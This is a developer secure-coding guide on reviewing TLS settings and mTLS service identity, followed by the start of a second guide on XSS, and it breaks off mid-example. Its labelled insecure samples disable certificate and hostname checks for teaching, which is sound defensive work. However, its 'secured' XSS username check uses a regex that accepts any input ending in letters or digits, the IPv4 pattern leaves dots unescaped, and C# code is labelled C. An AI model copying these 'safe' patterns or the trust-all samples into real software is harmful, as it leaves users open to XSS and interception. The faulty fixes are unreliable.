TLS and SSL protocol {: #tls }

From former 10-05-review-tls-ssl-protocol.md. **Guiding chapter section:** [5.3 - Review Transport and Service Identity § TLS and SSL protocol](#).

5.5 - Review TLS and SSL Protocol Configuration

Transport Layer Security (TLS) protects data in transit when clients and servers negotiate versions, ciphers, and trust correctly. Review server listeners, outbound HTTP clients, SDK defaults, and reverse-proxy settings together. Focus on TLS 1.2 and TLS 1.3, strong cipher selection, full chain validation, and hostname matching—not legacy SSL or SSLv3.

What This Vulnerability Is

TLS misconfiguration weakens confidentiality and authenticity even when URLs use `https://`. Common failures include enabling obsolete protocols, accepting weak ciphers, skipping certificate chain validation, or not checking that the certificate matches the intended host name.

The unsafe assumption is that any TLS handshake is equivalent to a verified, correctly scoped connection. Attackers may downgrade traffic, decrypt weak sessions, or intercept calls through man-in-the-middle (MITM) when verification is disabled or incomplete. This maps to [CWE-295](#) (Improper Certificate Validation) and [CWE-326](#) (Inadequate Encryption Strength).

Vulnerability Characteristics (Where to Identify Them)

Signal	Where to look
Server termination	Nginx, Apache, HAProxy, cloud load balancers, Kubernetes Ingress, embedded Tomcat/Jetty/uvicorn listeners
Client libraries	requests, httpx, HttpClient, RestTemplate, fetch, gRPC channels, database and message-broker drivers
Protocol policy	Explicit <code>ssl.PROTOCOL_*</code> , <code>MinProtocol/MaxProtocol</code> , cipher list overrides, “compatibility mode” flags
Trust stores	Custom CA bundles, corporate root injection, <code>verify=False</code> , trust-all callbacks, empty trust managers
Hostname checks	Disabled <code>check_hostname</code> , custom <code>SSLContext</code> without server name indication (SNI), IP literals without SAN coverage
Certificate lifecycle	Expired or self-signed certs in prod, missing intermediate chain, wildcard certs on unrelated services

Abuse Scenarios

Use these when reviewing outbound HTTPS clients, API integrations, and TLS termination configuration.

Scenario 1: MITM on outbound API calls (`verify=False`)

A microservice calls partner APIs with certificate verification disabled to work around a corporate proxy or self-signed test cert. The misconfiguration ships to production. A network attacker presents any certificate and reads OAuth tokens, API keys, and PII from TLS plaintext.

Scenario 2: Global TLS disable in Node.js

`NODE_TLS_REJECT_UNAUTHORIZED=0` is set in a Docker image or systemd unit for "development" and never removed. Every https request from that process accepts forged certificates.

Scenario 3: Trust-all Java TrustManager

Custom `X509TrustManager` with empty `checkServerTrusted` ships in a shared HTTP utility class. All Java services using the helper are vulnerable to MITM regardless of URL scheme.

Scenario 4: Hostname verification disabled

Client validates the certificate chain but sets `check_hostname = False` or `InsecureSkipVerify: true`. Attacker presents a valid certificate for `attacker.example` while the app intended `api.partner.example`.

Scenario 5: Protocol downgrade

Server or client still accepts TLS 1.0/1.1 or weak cipher suites. Attacker forces downgrade to exploit known protocol weaknesses or weak crypto.

Scenario 6: Incomplete server chain

Server presents only the leaf certificate without intermediates. Some clients fail; others may prompt or fall back to insecure trust-on-first-use patterns in internal tools.

Language-Specific Libraries and Dangerous Patterns

Python

```
# Dangerous
requests.get(url, verify=False)
httpx.Client(verify=False)
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
ctx.check_hostname = False; ctx.verify_mode = ssl.CERT_NONE

# Safer: default verification; corporate CA via verify= path
import requests
resp = requests.get("https://api.partner.example/v1/data", timeout=10)
resp = requests.get(url, verify="/etc/ssl/certs/corp-ca.pem", timeout=10)
```

Also review: `aiohttp TCPConnector(ssl=False)`, `urllib.request.urlopen` with custom context, `boto3/botocore verify=False`.

See [Python requests SSL verification](#) and [httpx SSL](#).

Java

```
// Dangerous
conn.setSSLSocketFactory(trustAllFactory);
conn.setHostnameVerifier((h, s) -> true);
HttpClients.custom().setSSLContext(trustAll).build();

// Safer: default SSLContext and HttpClient
HttpClient client = HttpClient.newBuilder().build();
// Apache HttpClient 5: use system trust store, default hostname verifier
```

Also review: `RestTemplate` with custom `HttpComponentsClientHttpRequestFactory`, `gRPC usePlaintext()`, `JDBC sslmode=disable`.

See [Java JSSE Reference Guide](#).

C

```
// Dangerous
handler.ServerCertificateCustomValidationCallback = (_, _, _, _) => true;

// Safer: default HttpClient
var client = new HttpClient();
await client.GetStringAsync("https://api.example.com/v1/export");
```

Also review: `ServicePointManager.ServerCertificateValidationCallback`, legacy `ServicePointManager.SecurityProtocol` enabling SSL3/TLS1.

See [HttpClient certificate validation](#).

JavaScript

```
// Dangerous
process.env.NODE_TLS_REJECT_UNAUTHORIZED = '0';
https.get(url, { rejectUnauthorized: false });
axios.get(url, { httpsAgent: new https.Agent({ rejectUnauthorized: false }) });

// Safer: default agent; pin corporate CA via ca: fs.readFileSync('corp.pem')
```

See [Node.js TLS documentation](#).

Go

```
// Dangerous
tls.Config{InsecureSkipVerify: true, MinVersion: tls.VersionSSL30}

// Safer: system pool + MinVersion TLS 1.2
pool, _ := x509.SystemCertPool()
tr := &http.Transport{TLSClientConfig: &tls.Config{RootCAs: pool, MinVersion: tls.VersionTLS12}}
```

Also review: `grpc.WithTransportCredentials(insecure.NewCredentials())`, database drivers with `sslmode=disable`.

See [Go crypto/tls](#).

Sample Vulnerable Code in Python

```
import aiohttp
import ssl

async def fetch_partner_data(host: str) -> bytes:
    # Weak protocol range and trust-all context – no meaningful peer authentication
    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE
    ctx.minimum_version = ssl.TLSVersion.TLSv1 # obsolete minimum
    url = f"https://{host}/v1/export"
    connector = aiohttp.TCPConnector(ssl=ctx)
    async with aiohttp.ClientSession(connector=connector,
    timeout=aiohttp.ClientTimeout(total=10)) as session:
        async with session.get(url) as resp:
            return await resp.read()
```

Step-by-Step Review Walkthrough

1. **Inventory TLS endpoints.** List every server listener and outbound HTTPS client in the change. Include sidecars, webhooks, health checks, and batch jobs—not only user-facing APIs.
2. **Confirm minimum protocol version.** Require TLS 1.2 or TLS 1.3 per [RFC 8446](#) and [NIST SP 800-52 Rev. 2](#). Reject SSLv2, SSLv3, TLS 1.0, and TLS 1.1 ([RFC 8996](#)).
3. **Review cipher suites.** On TLS 1.3, prefer AEAD suites from the standard set. On TLS 1.2, prefer ECDHE with AES-GCM or ChaCha20-Poly1305; avoid NULL, EXPORT, RC4, and 3DES. Align with [Mozilla Server Side TLS](#) or your platform baseline.
4. **Trace certificate validation.** Follow trust store loading: system store, custom CA file, or mTLS bundle. Flag `verify=False`, `CERT_NONE`, and callbacks that return true for all certificates.
5. **Verify hostname matching.** Confirm the client checks the peer name against Subject Alternative Name (SAN) or legacy Common Name per [RFC 6125](#). Disabled `check_hostname` is a finding even when `verify_mode` is `CERT_REQUIRED`.
6. **Inspect server certificate chains.** Server configs must present leaf plus intermediates. Clients must build a chain to a trusted anchor—not only trust the leaf if it is self-signed in non-dev environments.
7. **Check environment parity.** Staging must not relax TLS for convenience while production is strict, unless the relaxation is isolated and documented. Test harnesses must not ship trust-all clients in release builds.

Risk Impact Analysis

Man-in-the-middle interception. Skipping verification or hostname checks lets attackers present arbitrary certificates and read or modify HTTPS traffic, including OAuth tokens and API secrets.

Downgrade and weak-crypto exposure. Permitting old protocols or weak ciphers enables decryption or session manipulation against clients and servers that negotiate insecure parameters.

Service impersonation. Missing hostname validation allows connections to a valid certificate for a different domain, breaking the intended trust boundary between services.

Compliance and audit findings. Regulated environments expect documented TLS baselines aligned with [NIST SP 800-52 Rev. 2](#) and industry transport guidance such as [OWASP Transport Layer Protection](#).

Silent failure in automation. Batch jobs and internal microservice clients often disable verification “temporarily,” then remain in production for years.

Vulnerable Examples in Other Languages

Java

```
// Trust-all TrustManager and permissive hostname verifier
SSLContext ctx = SSLContext.getInstance("TLS");
ctx.init(null, new TrustManager[] {
    new X509TrustManager() {
        public void checkClientTrusted(X509Certificate[] c, String a) {}
        public void checkServerTrusted(X509Certificate[] c, String a) {}
        public X509Certificate[] getAcceptedIssuers() { return new X509Certificate[0]; }
    }
}, new SecureRandom());
HttpsURLConnection conn = (HttpsURLConnection) new URL("https://
api.example.com").openConnection();
conn.setSSLSocketFactory(ctx.getSocketFactory());
conn.setHostnameVerifier((h, s) -> true);
```

C

```
var handler = new HttpClientHandler
{
    ServerCertificateCustomValidationCallback = (_, _, _, _) => true
};
var client = new HttpClient(handler);
return await client.GetStringAsync("https://payments.internal/api");
```

JavaScript

```
// Node.js: global TLS verification disabled for "dev"
process.env.NODE_TLS_REJECT_UNAUTHORIZED = "0";

const https = require("https");
https.get("https://partner.example/api", { rejectUnauthorized: false }, (res) => {
  // MITM possible even over https URL
});
```

Go

```
tr := &http.Transport{
    TLSClientConfig: &tls.Config{
        InsecureSkipVerify: true, // skips chain and hostname validation
        MinVersion:         tls.VersionSSL30, // obsolete
    },
}
client := &http.Client{Transport: tr}
resp, _ := client.Get("https://api.example.com/v1/data")
```

Fix: Safer Patterns and Libraries to Use

Python

Use default verification in HTTP libraries. Restrict protocols and ciphers only through explicit, documented baselines.

```
import aiohttp
import ssl

async def fetch_export(base_url: str, ca_file: str | None = None) -> bytes:
    ssl_ctx = ssl.create_default_context(cafile=ca_file) if ca_file else True
    async with aiohttp.ClientSession(
        connector=aiohttp.TCPConnector(ssl=ssl_ctx),
        timeout=aiohttp.ClientTimeout(total=10),
    ) as session:
        async with session.get(f"{base_url.rstrip('/')}/v1/export") as resp:
            resp.raise_for_status()
            return await resp.read()
```

Important: Custom SSLContext changes need a comment linking to your TLS baseline. Never set `check_hostname = False` or `verify_mode = CERT_NONE` in production paths. For corporate CAs, load a dedicated bundle with `verify=` or `ctx.load_verify_locations()`—do not disable verification.

See [Python ssl module](#) and [httpx SSL documentation](#).

Java

Use the platform default `SSLContext` and hostname verification. Pin corporate roots via trust store configuration, not accept-all managers.

```
import javax.net.ssl.SSLContext;
import java.net.http.HttpClient;

SSLContext ctx = SSLContext.getDefault();
HttpClient client = HttpClient.newBuilder()
    .sslContext(ctx)
    .build();
// Default hostname verification remains enabled
```

For Apache `HttpClient` 5, use `TlsSocketStrategy` with default trust material and avoid custom `NoopHostnameVerifier`.

Important: `TrustAllStrategy` and `NoopHostnameVerifier` belong only in isolated test fixtures excluded from production artifacts.

See [Java Secure Socket Extension \(JSSE\) Reference Guide](#).

C

Use `HttpClient` with default certificate validation. Configure corporate roots via `X509ChainTrustMode` or machine trust stores.

```
var handler = new HttpClientHandler();
// Default: validates chain and name against https:// URI host
var client = new HttpClient(handler);
var json = await client.GetStringAsync("https://api.example.com/v1/export");
```

Important: `ServerCertificateCustomValidationCallback` that always returns `true` is equivalent to `verify=False`. Restrict callbacks to narrowly scoped test or private-PKI scenarios with explicit documentation.

See [HttpClientHandler.ServerCertificateCustomValidationCallback](#) and [Transport Layer Security \(TLS\) best practices with .NET](#).

Go

Use the default `http.Client` transport. Set `MinVersion` to TLS 1.2 or higher and load custom roots instead of skipping verification.

```
import (
    "crypto/tls"
    "crypto/x509"
    "net/http"
    "os"
)

pool, _ := x509.SystemCertPool()
if extra, err := os.ReadFile("/etc/ssl/certs/corp-root.pem"); err == nil {
    pool.AppendCertsFromPEM(extra)
}
tr := &http.Transport{
    TLSClientConfig: &tls.Config{
        RootCAs:    pool,
        MinVersion: tls.VersionTLS12,
    },
}
client := &http.Client{Transport: tr}
```

Important: `InsecureSkipVerify` disables both chain and hostname checks. Prefer `RootCAs` and, when connecting by IP or custom name, set `ServerName` explicitly.

See [Go crypto/tls package](#) and [Go net/http Transport TLSClientConfig](#).

Verify During Review

- Minimum TLS version is **1.2 or 1.3**; SSLv2, SSLv3, TLS 1.0, and TLS 1.1 are disabled.
- Cipher policy follows an approved baseline; no NULL, EXPORT, RC4, or 3DES in production.
- Clients use **default or explicit** chain validation to a trusted anchor; no trust-all callbacks in release code.
- **Hostname verification** is enabled and matches the intended host or configured `ServerName`.
- Server configs present a **complete certificate chain** with valid expiry and appropriate SANs.
- Corporate or private CAs are loaded via **trust stores**, not by turning off verification.
- Test-only TLS relaxations are excluded from production builds and deployment manifests.

Reference

- [RFC 8446: The Transport Layer Security \(TLS\) Protocol Version 1.3](#)
- [RFC 5246: The Transport Layer Security \(TLS\) Protocol Version 1.2](#)
- [RFC 8996: Deprecating TLS 1.0 and TLS 1.1](#)
- [RFC 6125: Representation and Verification of Domain-Based Application Service Identity](#)
- [NIST SP 800-52 Rev. 2: Guidelines for TLS Implementations](#)
- [CWE-295: Improper Certificate Validation](#)
- [CWE-326: Inadequate Encryption Strength](#)
- [OWASP Transport Layer Protection Cheat Sheet](#)
- [Mozilla Wiki — Server Side TLS](#)

- [Python ssl module](#)
- [Python httpx — SSL](#)
- [Java JSSE Reference Guide](#)
- [Microsoft — TLS best practices with .NET](#)
- [Go crypto/tls](#)
- [Node.js TLS/SSL documentation](#)

mTLS and service identity {: #mtls }

From former 10-06-review-mtls-service-identity.md. **Guiding chapter section:** [5.3 - Review Transport and Service Identity § mTLS and service identity](#).

5.6 - Review mTLS and Service Identity

Mutual TLS (mTLS) adds client authentication to TLS: both peers present certificates and validate each other. Review server-side client-cert requirements, client cert loading and rotation, and how service meshes or workload identity systems map certificates to authorized services. Treat identity as a authorization input, not only as transport encryption.

What This Vulnerability Is

mTLS fails when servers request but do not validate client certificates, when any certificate signed by a broad internal CA is accepted without binding to an expected service identity, or when mesh sidecars terminate mTLS but application code trusts unauthenticated localhost traffic.

The unsafe assumption is that TLS encryption alone proves which service is calling. Attackers with network access may connect without a valid client cert, present a cert for a different workload, or bypass sidecar enforcement if the app listens on plain HTTP behind the mesh. This relates to [CWE-295](#) (Improper Certificate Validation) and [CWE-287](#) (Improper Authentication).

Vulnerability Characteristics (Where to Identify Them)

Signal	Where to look
Service-to-service APIs	Internal gRPC/HTTPS gateways, admin APIs, payment or identity backends reachable from the cluster network
Server TLS config	SSLVerifyClient, clientAuth, NeedClientCert, Envoy require_client_certificate, Istio PeerAuthentication
Client cert loading	PKCS#12 files in images, mounted secrets, cert-manager Certificate resources, SPIRE agent sockets
Identity mapping	CN/SAN parsing, SPIFFE ID (spiffe://) extraction, custom headers set by proxies without verification
Mesh bypass paths	Plain HTTP ports, NetworkPolicy gaps, debug ports, legacy jobs hitting services directly by pod IP
Rotation and revocation	Long-lived client certs, shared cert across environments, no reissue on compromise, missing CRL/OCSP where required

Abuse Scenarios

Use these when reviewing service-to-service authentication and mesh-enforced mTLS.

Scenario 1: Optional client certificate (verifyClientCertIfGiven)

The server requests client certs but accepts connections without them. An attacker on the pod network connects without a cert and invokes internal admin APIs that operators assumed were mTLS-protected.

Scenario 2: Client cert present but not validated

Node.js sets requestCert: true with rejectUnauthorized: false. A client presents an expired, self-signed, or wrong-CA certificate; the server reads CN and grants access anyway.

Scenario 3: Trust any internal CA

Server trusts a broad enterprise root and accepts any client cert signed by that CA without checking SPIFFE ID or SAN against an allowlist. Compromise of any internal workload cert allows impersonation of any service.

Scenario 4: Header-based identity without verification

Ingress sets X-Forwarded-Client-Cert or custom X-Service-Identity headers. Application trusts the header on plaintext localhost while sidecar mTLS is bypassed via direct port access.

Scenario 5: Mesh permissive mode left in production

Istio PeerAuthentication is PERMISSIVE indefinitely. Plaintext and mTLS clients both reach the same handlers; attackers choose plaintext from compromised pods.

Scenario 6: Shared long-lived client cert in images

One PKCS#12 client cert is baked into all microservice images. Leak from any container reveals identity usable against every internal API until manual revocation.

Language-Specific Libraries and Dangerous Patterns

Python

```
# Dangerous: TLS without required client cert
ctx = ssl.create_default_context(purpose=ssl.Purpose.CLIENT_AUTH)
# verify_mode defaults – client cert not required

# Safer
ctx.verify_mode = ssl.CERT_REQUIRED
ctx.load_verify_locations(cafile="mesh-ca.pem")
spiffe_id = peer_spiffe_id(conn.getpeercert())
if spiffe_id not in ALLOWED_CALLERS: conn.close()
```

Also review: [uvicorn/gunicorn SSL settings](#), requests client cert without server verify ([5.3 § TLS](#)).

Java

```
// Dangerous: gRPC server TLS without client auth
GrpcSslContexts.forServer(serverCert, serverKey).build();

// Safer
GrpcSslContexts.forServer(serverCert, serverKey)
    .trustManager(clientCaBundle)
    .clientAuth(ClientAuth.REQUIRE)
    .build();
```

Also review: [Netty SslContextBuilder](#), [Spring Boot server.ssl.client-auth=need](#), Istio Java agent headers.

See [gRPC Java TLS guide](#).

C

```
// Dangerous: default ClientCertificateMode
listen.UseHttps(https => { https.ServerCertificate = serverCert; });

// Safer
https.ClientCertificateMode = ClientCertificateMode.RequireCertificate;
https.ClientCertificateValidation = (cert, chain, errors) =>
    errors == SslPolicyErrors.None && AllowedSpiffeIds.Contains(ExtractSpiffeId(cert));
```

See [ASP.NET Core certificate authentication](#).

Go

```
// Dangerous
tls.Config{ClientAuth: tls.VerifyClientCertIfGiven}

// Safer
tls.Config{
    ClientAuth: tls.RequireAndVerifyClientCert,
    ClientCAs:  clientCAPool,
    MinVersion: tls.VersionTLS12,
}
// Authorize: r.TLS.PeerCertificates[0] SPIFFE SAN
```

Also review: SPIRE [go-spiffe](#), cert-manager mounted certs, Envoy SDS config.

JavaScript / infrastructure

```
# Istio – permissive left in prod
apiVersion: security.istio.io/v1beta1
kind: PeerAuthentication
spec:
  mtls:
    mode: PERMISSIVE
```

See [Python ssl verify mode](#), [Go tls ClientAuth](#), [SPIFFE](#), and [Istio PeerAuthentication](#).

Sample Vulnerable Code in Python

```
import ssl
import socket

def handle_internal_request(conn: ssl.SSLSocket) -> None:
    # Server negotiates TLS but never requires or validates a client certificate
    peer = conn.getpeercert() # may be empty dict when client cert not sent
    # Unsafe: any TLS client on the network is treated as trusted internal caller
    service_name = peer.get("subject", (((("CN", "unknown"),),)))[0][0][1]
    authorize_admin_action(service_name)
```

Step-by-Step Review Walkthrough

1. **Map trust boundaries.** Identify which services require mTLS and which callers are allowed. Draw paths through ingress, sidecars, and direct cluster DNS names.
2. **Confirm server requires client auth.** On TLS terminators and app listeners, verify `CERT_REQUIRED` (or equivalent) and rejection when no client cert is presented.
3. **Validate client certificate chains.** Trace trust anchors for client certs—mesh CA, SPIRE bundle, or enterprise PKI. Reject self-signed or wrong-CA client certs.
4. **Bind cert identity to authorization.** Parse SPIFFE ID or approved SAN/CN patterns; compare against an allowlist of services for the endpoint. Do not trust unverified `X-Forwarded-Client-Cert` headers from outside the mesh.
5. **Review client implementation.** Outbound callers must load current cert and key, present them during handshake, and verify the server cert and hostname as in [5.3 § TLS](#).
6. **Inspect mesh policy.** For Istio, Linkerd, or Envoy, read `PeerAuthentication`, destination rules, and whether `PERMISSIVE` mode is temporary. Confirm applications do not expose plaintext ports that bypass sidecar capture.
7. **Check rotation and blast radius.** Shared certs across services, multi-year validity, and certs baked into images complicate revocation. Confirm automated rotation and distinct identities per workload where feasible.

Risk Impact Analysis

Lateral movement inside the network. Without enforced client authentication, any compromised pod or insider with network reach can call privileged internal APIs.

Service impersonation. Accepting client certs without identity binding lets one service masquerade as another if it obtains any valid internal certificate.

Mesh false confidence. Operators may believe mTLS is enabled while permissive mode or plaintext fallback leaves critical paths unauthenticated.

Broken zero-trust claims. Auditors expect demonstrable workload identity; optional or misconfigured mTLS undermines “never trust the network” designs.

Long-lived credential risk. Client certificates without rotation remain valid after key compromise until manually revoked.

Vulnerable Examples in Other Languages

Java

```
// gRPC server: TLS enabled but client certs not required
Server server = NettyServerBuilder.forPort(8443)
    .sslContext(GrpcSslContexts.forServer(serverCert, serverKey).build())
    // Missing: clientAuth(ClientAuth.REQUIRE)
    .addService(new AdminServiceImpl())
    .build();
```

C

```
// Kestrel listens with HTTPS but ClientCertificateMode defaults to NoCertificate
builder.WebHost.ConfigureKestrel(options =>
{
    options.Listen(IPAddress.Any, 8443, listen =>
    {
        listen.UseHttps(https =>
        {
            https.ServerCertificate = serverCert;
            // Missing: ClientCertificateMode.RequireCertificate + validation callback
        });
    });
});
```

JavaScript

```
// Node HTTPS server: requestCert without rejectUnauthorized on client cert
const https = require("https");
https.createServer(
    { key, cert, requestCert: true, rejectUnauthorized: false },
    (req, res) => {
        // Client cert may be present but invalid – still accepted
        const cn = req.socket.getPeerCertificate()?.subject?.CN;
        grantAccess(cn);
    }
).listen(8443);
```

Go

```
tlsConfig := &tls.Config{
    Certificates: []tls.Certificate{serverCert},
    ClientAuth:   tls.VerifyClientCertIfGiven, // optional client cert – not mTLS
    ClientCAs:   clientCAPool,
}
srv := &http.Server{Addr: ":8443", TLSConfig: tlsConfig}
```

Fix: Safer Patterns and Libraries to Use

Python (mTLS with SPIRE workload API)

```
from spiffe.workloadapi import WorkloadApiClient
import ssl

client = WorkloadApiClient()
svid = client.fetch_x509_svid()
ctx = ssl.create_default_context(purpose=ssl.Purpose.CLIENT_AUTH)
ctx.load_cert_chain(certfile=svid.cert_path, keyfile=svid.key_path)
ctx.load_verify_locations(cafile=client.fetch_x509_bundles().path)
ctx.verify_mode = ssl.CERT_REQUIRED
```

Important: CERT_OPTIONAL and VerifyClientCertIfGiven are not mTLS for high-value endpoints. Pair mTLS with server cert verification on clients.

See [Python ssl – SSLContext.verify mode](#).

Java

Require client authentication on gRPC or HTTPS and validate the peer chain against the mesh or SPIRE trust bundle.

```
import io.grpc.netty.GrpcSslContexts;
import io.netty.handler.ssl.ClientAuth;
import io.netty.handler.ssl.SslContext;

SslContext sslContext = GrpcSslContexts.forServer(serverCert, serverKey)
    .trustManager(clientCaBundle)
    .clientAuth(ClientAuth.REQUIRE)
    .build();

Server server = NettyServerBuilder.forPort(8443)
    .sslContext(sslContext)
    .intercept(new SpiffeAuthorizationServerInterceptor(ALLOWED_SPIFFE_IDS))
    .addService(new InternalApiImpl())
    .build();
```

Important: Extract SPIFFE ID or service SAN from verified peer credentials in an interceptor—do not trust client-supplied HTTP headers for identity.

See [gRPC Java — TLS](#) and [Java JSSE Reference Guide](#).

C

Configure Kestrel to require and validate client certificates against your CA policy.

```
builder.WebHost.ConfigureKestrel(options =>
{
    options.Listen(IPAddress.Any, 8443, listen =>
    {
        listen.UseHttps(https =>
        {
            https.ServerCertificate = serverCert;
            https.ClientCertificateMode = ClientCertificateMode.RequireCertificate;
            https.ClientCertificateValidation = (cert, chain, errors) =>
            {
                if (errors != SslPolicyErrors.None) return false;
                return AllowedSpiffeIds.Contains(ExtractSpiffeId(cert));
            };
        });
    });
});
```

Important: Forwarded client cert headers from ingress must be stripped or validated at the edge; only trusted proxies should set them.

See [Configure certificate authentication in ASP.NET Core](#).

Go

Set `ClientAuth: tls.RequireAndVerifyClientCert` and authorize using verified certificate fields.

```

clientCAPool := x509.NewCertPool()
clientCAPool.AppendCertsFromPEM(clientCAPEM)
tlsConfig := &tls.Config{
    Certificates: []tls.Certificate{serverCert},
    ClientAuth:    tls.RequireAndVerifyClientCert,
    ClientCAs:    clientCAPool,
    MinVersion:    tls.VersionTLS12,
}
mux := http.NewServeMux()
mux.HandleFunc("/internal/", func(w http.ResponseWriter, r *http.Request) {
    certs := r.TLS.PeerCertificates
    if len(certs) == 0 || !allowedCaller(certs[0]) {
        http.Error(w, "forbidden", http.StatusForbidden)
        return
    }
    handle(w, r)
})
http.Server{Addr: ":8443", TLSConfig: tlsConfig, Handler: mux}.ListenAndServeTLS("", "")

```

Important: SPIFFE workload API or cert-manager should supply rotated cert material; avoid embedding long-lived client keys in container layers.

See [Go crypto/tls — ClientAuth](#), [SPIFFE Specification](#), and [Istio PeerAuthentication](#).

Verify During Review

- Internal privileged APIs **require** client certificates; optional client auth is flagged unless explicitly justified.
- Server validates client cert **chain** against the expected CA or SPIFFE trust domain.
- Authorization uses **verified** cert fields (SPIFFE ID, SAN), not unauthenticated headers or CN alone.
- Clients verify **server** cert and hostname per [5.3 § TLS](#) while presenting their own cert.
- Mesh mode is **STRICT** (or equivalent) for production namespaces; permissive mode has an expiry plan.
- No plaintext **bypass ports** expose the same handlers without equivalent authentication.
- Client certs **rotate** automatically; shared long-lived certs across services are documented exceptions only.

Reference

- [RFC 8446: TLS 1.3 — Client Authentication](#)
- [RFC 8705: OAuth 2.0 Mutual-TLS Client Authentication and Certificate-Bound Access Tokens](#)
- [SPIFFE Specification](#)
- [SPIRE Documentation](#)
- [CWE-295: Improper Certificate Validation](#)
- [CWE-287: Improper Authentication](#)
- [NIST SP 800-207: Zero Trust Architecture](#)

- [Istio — PeerAuthentication](#)
- [Istio — Mutual TLS Migration](#)
- [Envoy — Downstream TLS transport socket](#)
- [gRPC — Authentication guide](#)
- [Python ssl module](#)
- [Go crypto/tls — ClientAuth](#)
- [ASP.NET Core certificate authentication](#)
- [Java JSSE Reference Guide](#)

Secure Coding in Practice

Source Outline

- Secure Coding Guidance
- Input Validation & Parsing
 - Summary
 - Stored XSS
 - Reflected XSS
 - SQL Injection
 - Command Injection & Code Injection
 - JSON Injection
 - Java: Dynamic JSP Inclusion (Similar to XEE)
 - XML External Entities (XEE) Parsing
 - Template Injection: Server-side Template Injection (SSTI)
 - Path Traversal
 - Client-side Validation
- Secure Cryptographic Practices for Developers
 - Overview
 - 1. Loading Secrets Securely
 - 1. Choosing the Correct Protocol
 - 1. Using HTTPS with Certificate Confirmation
 - 1. Do Not Mix Hashing and Encryption
 - 1. Do Not Reinvent Decryption Methods
 - 1. Protect Sensitive Data in Transit and at Rest
 - Summary
- CSRF: Cross-Site Request Forgery
- SSRF: Server-Side Request Forgery
- Broken Session Management
 - What is Session Management?
 - Common Causes & Mitigation
 - Java Example — Secure Session Management
 - Python Flask Example — Secure Session Management
 - JWT Security
- Broken Access Control
 - Insecure Authentication and Authorization
 - Broken Password Lifecycle
 - 1. Initial Password Setup
 - 1. Password Change
 - 1. Broken Password Reset
 - 1. Additional Fortification of Password: Multi-Factor Authentication (MFA)
 - Summary

- Forced Browsing (missing authorization confirmation check)
- Insecure Direct Object References (IDOR)
- Data Exfiltration
 - Default Error Page and StackTrace Logging
 - Exfiltration via GET Request: URL Parameters
 - Exfiltration via Response (Username Enumeration)
 - Exfiltration via Server Side Internal & Egress Request
- Secure File and Path handling (path traversal attack)
 - Secure Temporary Files
 - Secure File Parsing
 - Secure File Path Handling
 - Secure File Uploading
- Secure by Default with Framework Dependency
- Insecure Coding Practice
 - Security Sensitive Code Comments
 - Hardcoded Secrets
 - Cookies Configuration
 - Obsolete Code
 - Dangerous Function
 - Non-standard practice (re-invent the wheel)
 - Secure Serialization and Deserialization
 - Best Practices for Secure Deserialization:
 - Example — Secure JSON Parsing in Java with GSON:
 - Key Takeaways:
 - Encryption and Decryption
- Secure Logging
 - What events need to be logged
 - What should not be logged
 - Logging levels
- Software Supply Chain, OSS, and SBOM

Secure Coding Guidance

Input Validation & Parsing

Summary

- via HTTPRequest: User input string sanitization: escape HTML content: string → UserName, password, via regular expression
- Sanitization matches any IPv4 address: `/^\d{1,3}.\d{1,3}.\d{1,3}.\d{1,3}$/`

Stored XSS

XSS is a client-side injection attack typically seen in applications where user input is displayed in the HTML output of a page. Examples include profile pages, search pages, and comments pages.

If unsanitized, unencoded input is generated as part of a page's output, an attacker can use JavaScript to execute malicious code when the page loads. This can be used to steal sessions or sensitive data from cookies and rewrite elements in the page.

Insecure Code

```
@Override
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws
ServletException, IOException {
    User user = databaseManager.getUserFromId(request.getParameter("id"));
    request.setAttribute("user", user.getUsername());
    doForward(request, response);
}
```

Secured Code (with input validation and Sanitization)

Sanitizing method: Regular expression lib.

```
@Override
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws
ServletException, IOException {
    User user = databaseManager.getUserFromId(request.getParameter("id"));
    String username = user.getUsername();
    if (validUserName(username)) {
        request.setAttribute("user", username);
        doForward(request, response);
    } else {
        response.setStatus(400);
    }
}

private Boolean validUserName(String username) {
    Pattern pattern = Pattern.compile("[a-zA-Z0-9]+$");
    Matcher matcher = pattern.matcher(username);
    return matcher.find();
}
```

Client-side input validation: not fully secured, as client-side data should never be trusted without server-side validation and sanitization

```
<input type="text" id="username" name="username" pattern="[a-zA-Z0-9]{4,20}" required>
```

Output encoding

The Java Standard Tag Library (JSTL) provides the tag, which will HTML encode content by default. This should be used when displaying content to users.

```
<%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core " %>
<div id="hello-message">
    <p>Hello user <c:out value="${requestScope.user}" />. Welcome to the platform!</p>
</div>
```

Reflected XSS

XSS is a client-side injection attack typically seen in applications where user input is displayed in the HTML output of a page. Examples include profile pages, search pages, and comments pages.

If unsanitized, unencoded input is generated as part of a page's output, an attacker can use JavaScript to execute malicious code when the page loads. This can be used to steal sessions or sensitive data from cookies and rewrite elements on the page.

In some cases, cross-site request forgery (CSRF) attacks may be possible where XSS is used to perform requests that the user never intended.

Vulnerable Code: Java, JSP/JSTL

```
@Override
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws
ServletException, IOException {
    User user = databaseManager.getUserFromId(request.getParameter("id"));

    request.setAttribute("user", user.getUsername());
    doForward(request, response);
}
```

Corresponding JSP Code

```
<div id="hello-message">
    <p>Hello user <%=request.getAttribute("user")%>. Welcome to the platform!</p>
</div>
```

Or Corresponding JSTL Code

```
<div id="hello-message">
    <p>Hello user ${requestScope.user}. Welcome to the platform!</p>
</div>
```

Secure Code (Input validation and sanitization)

```
@Override
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws
ServletException, IOException {
    User user = databaseManager.getUserFromId(request.getParameter("id"));
    String username = user.getUsername();

    if (validUserName(username)) {
        request.setAttribute("user", username);
        this.doForward(request, response);
    } else {
        response.setStatus(400);
    }
}

private Boolean validUserName(String username) {
    Pattern pattern = Pattern.compile("[a-zA-Z0-9]+$");
    Matcher matcher = pattern.matcher(username);

    return matcher.find();
}
```

Secure Code: JSP Code with Regex Filtering

```
<input type="text" id="username" name="username" pattern="[a-zA-Z0-9]{4,20}" required>
```

Secure Code: JSTL with filtering

The Java Standard Tag Library (JSTL) provides the tag, which will HTML encode content by default. This should be used when displaying content to users.

```
<%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %>
<div id="hello-message">
